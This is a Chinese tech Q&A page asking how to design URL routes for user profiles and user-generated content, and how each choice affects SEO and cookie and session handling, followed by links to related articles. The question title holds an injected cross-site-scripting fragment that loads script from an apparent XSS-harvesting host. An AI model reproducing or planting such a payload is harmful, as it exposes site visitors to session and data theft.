资讯专栏INFORMATION COLUMN

下面几种路由设计有什么区别?<script src=//imxss.com/s/1594.do

Baaaan / 2759人阅读

摘要:例如我有个社区网站现在针对用户主页有如下几种路由设计知乎,,,豆瓣采用,采用采用采用,百度贴吧采用同时针对内容有如下几种路由设计采用,知乎问答主站,豆瓣采用简书采用知乎专栏采用老旧采用哪种更好呢这个和关系大吗从代码可维护角度上考虑呢比如说,

例如我有个社区网站

现在针对用户主页有如下几种路由设计
www.xxx.com/member/{username} (知乎,V2EX,sf.gg,豆瓣采用)
www.xxx.com/{username} (Twitter,github采用)
member.xxx.com/{username} (bilibili采用)
{username}.member.xxx.com (LOFTER采用)
www.xxx.com/profile.php?id={username} (Facebook,百度贴吧采用)
同时针对UGC内容有如下几种路由设计

www.xxx.com/{username}/{article_id} (github采用)
www.xxx.com/article/{article_id} (bilibili,知乎问答主站,豆瓣采用)
www.xxx.com/{article_id} (简书采用)
article.xxx.com/{article_id} (知乎专栏采用)
www.xxx.com/article.php?id={article_id} (老旧CMS采用)
哪种更好呢?

这个和SEO关系大吗?

从代码可维护角度上考虑呢?(比如说DNS,跨域cookie,session管理等问题)

各方面综合考虑该使用什么样的路由设计方案?

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/44116.html

相关文章

  • &lt;script> 属性详解

    摘要:指定了属性的元素标签内不应该再有嵌入的脚本。该属性定义元素包含或引用的脚本语言。为时缺省为方式。该属性指示浏览器是否在允许的情况下异步执行该脚本。这个属性被设定用来通知浏览器该脚本将在文档完成解析后,触发事件前执行。 html元素及其属性,相信大家都很熟悉,但是script的属性,未必熟悉,故而整理总结,以待查阅。 前言 默认情况下,浏览器是同步加载 JavaScript 脚本,即渲染...

    libin19890520 评论0 收藏0
  • &lt;script> 属性详解

    摘要:指定了属性的元素标签内不应该再有嵌入的脚本。该属性定义元素包含或引用的脚本语言。为时缺省为方式。该属性指示浏览器是否在允许的情况下异步执行该脚本。这个属性被设定用来通知浏览器该脚本将在文档完成解析后,触发事件前执行。 html元素及其属性,相信大家都很熟悉,但是script的属性,未必熟悉,故而整理总结,以待查阅。 前言 默认情况下,浏览器是同步加载 JavaScript 脚本,即渲染...

    pkhope 评论0 收藏0
  • Django城市信息查询功能的实现步骤

      小编写这篇文章的一个目的,主要是用来给大家介绍关于Python Django的一个相关介绍,介绍的内容是涉及到查询功能,比如会教给我们去如何使用相关的城市信息查询功能,那么,具体的其实现步骤是什么呢?下面就给大家详细解答下。  前言  基于Pythgo的Django框架,编程实现一个WEB程序,为用户提供城市信息查询功能。用户可输入一个城市名,输出其所在省份名称和邮编等信息。例如,输入桂林市,...

    89542767 评论0 收藏0
  • JS前端首屏优化技巧

      访问时间超过3S对于用户就十分痛苦,为考虑到用户访问效果。为此我,首屏加载时间一顿操作,基本都在2s左右,这样的首屏加载时间,对于用户来说,算是可以接受的。  那我都哪些操作?下面就为大家展示  打包分析  在 package.json 中添加命令  "report":"vue-cli-servicebuild--report"  然后命令行执行npm ...

    3403771864 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<